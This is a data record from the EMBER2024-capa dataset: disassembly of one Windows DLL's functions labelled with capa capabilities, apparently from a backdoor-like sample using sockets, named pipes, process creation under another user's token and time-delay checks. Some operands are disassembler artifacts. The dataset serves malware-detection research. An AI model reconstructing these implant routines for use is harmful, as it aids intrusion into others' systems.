joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800037d8
Capabilities:
Hash data using sha256

Disassembly:
and dword [rcx + 0x28], 0
and qword [rcx], 0
xor eax, eax
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
mov dword [rcx + 0x24], 0x5be0cd19
ret

Function at 0x180003f54
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov rsi, rcx
mov ecx, dword [rcx + 0x70]
mov r13, r8
mov r15, rdx
call fcn.180003f00
test eax, eax
jne 0x1800040c6
movsxd rdi, dword [rsi + 0x70]
lea rbx, [0x180067ce0]
shl rdi, 7
mov ecx, dword [rdi + rbx + 0x10]
mov r12d, dword [rdi + rbx + 0xc]
call fcn.180035368
mov ecx, r12d
mov r14, rax
call fcn.180035368
mov rbp, rax
test r14, r14
je 0x1800040b4
test rax, rax
je 0x1800040ac
mov rdx, rax
mov rcx, rsi
call qword [rdi + rbx + 0x68]
mov ebx, eax
test eax, eax
jne 0x18000408c
lea r9, [0x180067ce0]
xor r8d, r8d
cmp dword [rdi + r9 + 0x10], r8d
jbe 0x180004007
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x5c
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rdi + r9 + 0x10]
jb 0x180003feb
mov rcx, rsi
call qword [rdi + r9 + 0x58]
mov ebx, eax
test eax, eax
jne 0x18000408c
lea rax, [0x180067ce0]
mov rdx, r14
mov rcx, rsi
mov r8d, dword [rdi + rax + 0x10]
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x18000408c
lea rax, [0x180067ce0]
mov r8d, r12d
mov rdx, rbp
mov rcx, rsi
call qword [rdi + rax + 0x60]
mov ebx, eax
test eax, eax
jne 0x18000408c
lea rax, [0x180067ce0]
mov rdx, r14
mov rcx, rsi
call qword [rdi + rax + 0x68]
mov ebx, eax
test eax, eax
jne 0x18000408c
xor ecx, ecx
test r12d, r12d
je 0x180004086
mov rdx, r14
sub rdx, r15
cmp ecx, dword [r13]
jae 0x180004086
mov al, byte [rdx + r15]
inc ecx
mov byte [r15], al
inc r15
cmp ecx, r12d
jb 0x18000406f
mov dword [r13], ecx
xor ebx, ebx
mov rcx, qword [rsi + 0xe8]
call fcn.180035328
mov rcx, rbp
call fcn.180035328
mov rcx, r14
call fcn.180035328
mov eax, ebx
jmp 0x1800040c6
mov rcx, r14
call fcn.180035328
test rbp, rbp
je 0x1800040c1
mov rcx, rbp
call fcn.180035328
mov eax, reloc.WS2_32.dll_listen
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1800040e4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, rcx
movsxd rbp, edx
mov edi, r9d
mov ecx, ebp
mov r13, r8
call fcn.180003f00
test eax, eax
jne 0x180004251
mov rbx, rbp
lea rax, [0x180067ce0]
mov dword [rsi + 0x70], ebp
shl rbx, 7
mov r15d, dword [rbx + rax + 0xc]
test r9d, r9d
jne 0x18000413f
lea eax, [r9 + 3]
jmp 0x180004251
mov r12d, dword [rbx + rax + 0x10]
mov ecx, r12d
call fcn.180035368
mov r14, rax
test rax, rax
jne 0x18000415d
lea eax, [r14 + 0xd]
jmp 0x180004251
mov rcx, r12
call fcn.180035368
mov qword [rsi + 0xe8], rax
test rax, rax
jne 0x180004179
lea edi, [rax + 0xd]
jmp 0x180004247
lea r12, [0x180067ce0]
mov rdx, r13
mov ecx, dword [rbx + r12 + 0x10]
cmp edi, ecx
jbe 0x1800041ca
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0x30]
mov r9, rax
mov qword [rsp + 0x20], rcx
mov ecx, ebp
mov r8d, edi
call fcn.1800016a0
mov edi, eax
test eax, eax
jne 0x18000423b
mov eax, dword [rbx + r12 + 0x10]
cmp r15d, eax
jae 0x1800041f1
mov rcx, r15
sub eax, r15d
add rcx, qword [rsi + 0xe8]
jmp 0x1800041ea
mov r8, rdi
mov rcx, rax
call fcn.18003c770
mov eax, dword [rbx + r12 + 0x10]
cmp edi, eax
jae 0x1800041f1
mov rcx, qword [rsi + 0xe8]
sub eax, edi
add rcx, rdi
mov edx, eax
call fcn.180003ec0
xor r8d, r8d
cmp dword [rbx + r12 + 0x10], r8d
jbe 0x180004217
mov rax, qword [rsi + 0xe8]
mov cl, byte [rax + r8]
xor cl, 0x36
mov byte [r8 + r14], cl
inc r8d
cmp r8d, dword [rbx + r12 + 0x10]
jb 0x1800041fb
mov rcx, rsi
call qword [rbx + r12 + 0x58]
mov edi, eax
test eax, eax
jne 0x18000423b
mov r8d, dword [rbx + r12 + 0x10]
mov rdx, r14
mov rcx, rsi
call qword [rbx + r12 + 0x60]
mov edi, eax
test eax, eax
je 0x180004247
mov rcx, qword [rsi + 0xe8]
call fcn.180035328
mov rcx, r14
call fcn.180035328
mov eax, edi
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x18000ddb0
Capabilities:
Create udp socket

Disassembly:
sub rsp, 0x678
mov dword [rsp + 0x54], 0
mov dword [rsp + 0x5c], 0
call fcn.18000dee8
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 2
mov ecx, 2
call qword [sym.imp.WS2_32.dll_WSASocketA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x18000de06
xor eax, eax
jmp 0x18000dee0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x5f0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4004747f
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x18000de63
mov eax, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x4c
div rcx
mov dword [rsp + 0x5c], eax
mov dword [rsp + 0x50], 0
jmp 0x18000de77
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x5c]
cmp dword [rsp + 0x50], eax
jge 0x18000ded1
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x4c
lea rax, [rsp + rax + 0x84]
mov qword [rsp + 0x70], rax
movsxd rax, dword [rsp + 0x50]
imul rax, rax, 0x4c
mov eax, dword [rsp + rax + 0x80]
mov dword [rsp + 0x58], eax
mov eax, dword [rsp + 0x58]
and eax, 4
test eax, eax
jne 0x18000decf
mov eax, dword [rsp + 0x58]
and eax, 1
test eax, eax
je 0x18000decf
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 4]
mov dword [rsp + 0x54], eax
jmp 0x18000ded1
jmp 0x18000de6d
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [rsp + 0x54]
add rsp, 0x678
ret

Function at 0x18000dee8
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
cmp dword [0x180061078], 1
jne 0x18000defd
jmp 0x18000df99
mov eax, 0x202
mov word [rsp + 0x20], ax
lea rdx, [rsp + 0x30]
movzx ecx, word [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jge 0x18000df2b
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, 1
call fcn.180035ed0
mov dword [0x180061078], 1
mov ecx, socket
call fcn.1800335c0
mov dword [0x18006107c], eax
mov ecx, reloc.WS2_32.dll_send
call fcn.1800335c0
mov dword [0x180061080], eax
mov ecx, 0x3d
call fcn.1800335f8
mov qword [0x180069b28], rax
mov ecx, 0x3e
call fcn.1800335f8
mov qword [0x180069b20], rax
mov ecx, 0x3f
call fcn.1800335f8
mov qword [0x180069b18], rax
mov ecx, 0x42
call fcn.1800335f8
mov qword [0x180069b10], rax
add rsp, 0x1d8
ret
Function at 0x18000e6ac
Capabilities:
Create pipe

Disassembly:
push rdi
sub rsp, 0x80
mov qword [rsp + 0x40], 0xffffffffffffffff
mov dword [rsp + 0x48], 0
lea rax, [rsp + 0x50]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x60]
call fcn.18000e4b8
mov ecx, reloc.WS2_32.dll_ntohs
call fcn.1800335f8
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100000
mov dword [rsp + 0x20], 0x100000
mov r9d, 0xff
mov r8d, 6
mov edx, 3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x60]
call fcn.18000e374
cmp qword [rsp + 0x40], 0xffffffffffffffff
jne 0x18000e759
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, reloc.WS2_32.dll_socket
call fcn.18000dc18
xor eax, eax
jmp 0x18000e774
mov dword [reloc.WS2_32.dll_accept], 2
mov rax, qword [rsp + 0x40]
mov qword [0x1800610f0], rax
mov eax, 1
add rsp, 0x80
pop rdi
ret

Function at 0x18000e79c
Capabilities:
Connect pipe

Disassembly:
push rsi
push rdi
sub rsp, 0xb8
mov rcx, qword [0x1800610f0]
call fcn.180011850
test eax, eax
je 0x18000e7b8
jmp 0x18000e815
mov dword [rsp + 0x20], 0
cmp dword [rsp + 0x20], 0
jne 0x18000e815
xor edx, edx
mov rcx, qword [0x1800610f0]
call qword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
test eax, eax
je 0x18000e7e4
mov dword [rsp + 0x28], 1
jmp 0x18000e80b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x217
jne 0x18000e7fb
mov dword [rsp + 0x24], 1
jmp 0x18000e803
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
mov dword [rsp + 0x20], eax
jmp 0x18000e7c0
mov rdx, qword [0x1800610f0]
lea rcx, [rsp + 0x70]
call fcn.18000e424
lea rcx, [rsp + 0x30]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x40
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x30]
call fcn.18000e020
add rsp, 0xb8
pop rdi
pop rsi
ret
Function at 0x18000e9fc
Capabilities:
Create raw socket
Create tcp socket
Create udp socket

Disassembly:
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0xc8
mov qword [rsp + 0x20], 0xffffffffffffffff
mov dword [rsp + 0x28], 0
mov dword [reloc.WS2_32.dll_accept], 3
xor r8d, r8d
mov edx, 1
mov ecx, 2
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x18000ea54
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x18000eb4a
mov eax, 2
mov word [rsp + 0x30], ax
mov ecx, 2
call fcn.180033630
movzx ecx, ax
call qword [sym.imp.WS2_32.dll_htons]
mov word [rsp + 0x32], ax
mov eax, dword [rsp + 0xe0]
mov dword [rsp + 0x34], eax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_bind]
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0xffffffff
jne 0x18000eab4
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x18000eb4a
mov edx, 0x78
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_listen]
mov dword [rsp + 0x28], eax
cmp dword [rsp + 0x28], 0xffffffff
jne 0x18000eade
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
jmp 0x18000eb4a
mov rcx, qword [rsp + 0x20]
call fcn.180011c04
mov qword [0x1800610f8], rax
cmp qword [0x1800610f8], 0xffffffffffffffff
je 0x18000eb3d
mov rdx, qword [0x1800610f8]
lea rcx, [rsp + 0x80]
call fcn.18000e8d4
lea rcx, [rsp + 0x40]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x40
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.18000e020
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
mov eax, 1
jmp 0x18000eb4a
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
add rsp, 0xc8
pop rdi
pop rsi
ret

Function at 0x18000ec08
Capabilities:
Set current directory

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x428
cmp dword [rsp + 0x438], 0x3ff
jle 0x18000ec27
jmp 0x18000ec5c
movsxd rax, dword [rsp + 0x438]
mov r8, rax
mov rdx, qword [rsp + 0x430]
lea rcx, [rsp + 0x20]
call fcn.1800363d0
movsxd rax, dword [rsp + 0x438]
mov byte [rsp + rax + 0x20], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
add rsp, 0x428
ret

Function at 0x18000ef94
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x830
mov byte [rsp + 0x30], 0
lea rax, [rsp + 0x31]
mov rdi, rax
xor eax, eax
mov ecx, 0x7ff
rep stosb byte [rdi], al
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x30]
mov ecx, 0x800
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0
jbe 0x18000eff0
mov r8d, reloc.WS2_32.dll_send
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [rsp + 0x840]
add rsp, 0x830
pop rdi
ret
Function at 0x18000f37c
Capabilities:
Send data
Send data on socket

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x30], 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea60
mov dword [rsp + 0x20], eax
mov r8d, dword [rsp + 0x78]
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.1800168d8
lea rcx, [rsp + 0x48]
call fcn.180016b5c
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x48]
call fcn.18001691c
mov dword [rsp + 0x24], eax
lea rcx, [rsp + 0x48]
call fcn.1800167c4
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x48]
call fcn.18000cc3c
mov dword [rsp + 0x28], eax
call fcn.18000dee8
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rsp + 0x20]
jae 0x18000f443
mov edx, dword [rsp + 0x24]
mov rcx, qword [rsp + 0x38]
call fcn.18000f900
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0xffffffffffffffff
jne 0x18000f428
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000f441
xor r9d, r9d
mov r8d, dword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call sub.WS2_32.dll_send
jmp 0x18000f44d
jmp 0x18000f3f4
mov ecx, 0x46
call fcn.18000dd3c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x30]
call sub.WS2_32.dll_closesocket
add rsp, 0x68
ret
Function at 0x18000f468
Capabilities:
Check for time delay via gettickcount
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xf8
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
add eax, 0xea60
mov dword [rsp + 0x4c], eax
mov r8d, dword [rsp + 0x108]
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x58]
call fcn.1800168d8
mov r8d, 0x80
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x58]
call fcn.180016ad4
lea rcx, [rsp + 0x58]
call fcn.1800167c4
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x58]
call fcn.18000cc3c
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], 0
jmp 0x18000f4ef
mov eax, dword [rsp + 0x38]
inc eax
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0xa
jae 0x18000f618
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x70]
call fcn.180014624
test eax, eax
je 0x18000f5e9
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, 4
lea rdx, [rsp + 0x34]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x34]
cmp dword [rsp + 0x30], eax
jae 0x18000f5b9
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
cmp eax, 0x2000
jbe 0x18000f55c
mov dword [rsp + 0x48], 0x2000
jmp 0x18000f56c
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x48]
mov rdx, rax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x18000f5b2
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x30], eax
jmp 0x18000f5b4
jmp 0x18000f5b9
jmp 0x18000f535
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000f630
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x35
jne 0x18000f5f8
jmp 0x18000f618
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp eax, dword [rsp + 0x4c]
jb 0x18000f608
jmp 0x18000f618
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x18000f4e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
lea rdx, [rsp + 0x70]
mov ecx, gethostbyname
call fcn.18000dd84
add rsp, 0xf8
ret
Function at 0x18000f638
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov ecx, 0x400
call fcn.180035368
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x18000f666
jmp 0x18000f72d
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1800168d8
mov r8d, 0x400
mov rdx, qword [rsp + 0x20]
lea rcx, [rsp + 0x38]
call fcn.180016ad4
test eax, eax
jne 0x18000f6a2
mov rcx, qword [rsp + 0x20]
call fcn.180035328
jmp 0x18000f72d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x20]
call fcn.1800360b0
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0xffffffffffffffff
je 0x18000f6c6
cmp qword [rsp + 0x28], 0
jne 0x18000f6e4
mov rcx, qword [rsp + 0x20]
call fcn.180035328
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov ecx, 8
call fcn.18000dc18
jmp 0x18000f72d
lea rcx, [rsp + 0x38]
call fcn.18000cc3c
cdqe
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x38]
call fcn.1800167c4
mov r9, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x30]
mov r8, rcx
mov edx, 1
mov rcx, rax
call fcn.18003624c
mov rcx, qword [rsp + 0x28]
call fcn.180035f70
mov rcx, qword [rsp + 0x20]
call fcn.180035328
add rsp, 0x58
ret

Function at 0x18000f734
Capabilities:
Create pipe

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x108
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rsp + 0x70], WSAGetLastError
lea rax, [rsp + 0x58]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x18
mov dword [rsp + 0x50], 1
mov r9d, 0x100000
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov dword [rsp + 0xac], 0x101
xor eax, eax
mov word [rsp + 0xb0], ax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xc0], 0
call fcn.180018aec
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x70]
mov edx, dword [rsp + 0x128]
mov rcx, qword [rsp + 0x120]
call fcn.1800187a0
test eax, eax
jne 0x18000f828
jmp 0x18000f869
mov edx, 0x2710
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rax, [rsp + 0xe0]
lea rcx, [rsp + 0x58]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0xe0]
call fcn.180014c5c
add rsp, 0x108
pop rdi
pop rsi
ret
Function at 0x18000f900
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
xor r8d, r8d
mov edx, 1
mov ecx, 2
call sub.WS2_32.dll_socket
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0xffffffffffffffff
jne 0x18000f93a
mov rax, 0xffffffffffffffff
jmp 0x18000f9d1
mov rcx, qword [rsp + 0x60]
call sub.WS2_32.dll_gethostbyname
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
jne 0x18000f95a
mov rax, 0xffffffffffffffff
jmp 0x18000f9d1
mov rax, qword [rsp + 0x28]
movsx rax, word [rax + 0x12]
mov ecx, 8
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x28]
mov rdx, qword [rdx + 0x18]
lea r8, [rsp + 0x34]
mov rdi, r8
mov rsi, qword [rdx + rcx]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov eax, 2
mov word [rsp + 0x30], ax
movzx ecx, word [rsp + 0x68]
call sub.WS2_32.dll_htons
mov word [rsp + 0x32], ax
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_connect
test eax, eax
je 0x18000f9cc
mov rcx, qword [rsp + 0x20]
call sub.WS2_32.dll_closesocket
mov rax, 0xffffffffffffffff
jmp 0x18000f9d1
mov rax, qword [rsp + 0x20]
add rsp, 0x48
pop rdi
pop rsi
ret

Function at 0x18000fab4
Capabilities:
Create pipe

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x148
cmp dword [rsp + 0x168], 0x100
jl 0x18000fad8
jmp 0x18000fb88
movsxd rax, dword [rsp + 0x168]
lea rcx, [rsp + 0x40]
mov rdi, rcx
mov rsi, qword [rsp + 0x160]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x168]
mov byte [rsp + rax + 0x40], 0
mov qword [0x18005e358], 0xffffffffffffffff
mov qword [0x18005e350], 0xffffffffffffffff
mov qword [0x18005e360], 0xffffffffffffffff
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 2
mov r8d, 4
mov edx, 3
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov qword [0x18005e350], rax
cmp qword [0x18005e350], 0
jne 0x18000fb73
jmp 0x18000fb88
xor edx, edx
lea rcx, [0x18000fc78]
call fcn.180033edc
mov qword [0x18005e360], rax
add rsp, 0x148
pop rdi
pop rsi
ret
Function at 0x18000ff0c
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
cmp qword [0x1800653e0], 0
je 0x18000fff4
mov rax, qword [rsp + 0x70]
cmp dword [rax + 0x24], 0
jne 0x18000fff4
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rax, qword [rsp + 0x70]
mov r8, qword [rax]
xor edx, edx
mov rcx, qword [0x1800653e0]
call qword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
test eax, eax
je 0x18000ffa7
mov eax, 1
jmp 0x180010076
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x522
jne 0x18000ffcd
cmp qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW], 0
je 0x18000ffcd
mov rcx, qword [rsp + 0x70]
call fcn.18001045c
jmp 0x180010076
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov ecx, 0x29
call fcn.18000dd84
xor eax, eax
jmp 0x180010076
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x70]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x20]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180010071
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rax, qword [rsp + 0x70]
mov rdx, qword [rax]
mov ecx, gethostbyname
call fcn.18000dd84
xor eax, eax
jmp 0x180010076
mov eax, 1
add rsp, 0x68
ret

Function at 0x1800102ec
Capabilities:
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x20]
and eax, 4
cmp eax, 4
je 0x180010399
lea rdx, [rsp + 0x28]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax]
call fcn.18000c500
test eax, eax
je 0x180010399
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
mov qword [rax], rcx
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x20]
or eax, 4
mov rcx, qword [rsp + 0x50]
mov dword [rcx + 0x20], eax
mov rcx, qword [rsp + 0x50]
call fcn.18000ff0c
mov dword [rsp + 0x20], eax
lea rdx, [rsp + 0x28]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x18]
call fcn.18001007c
test eax, eax
jne 0x18001037e
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
xor edx, edx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x1800103a3
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
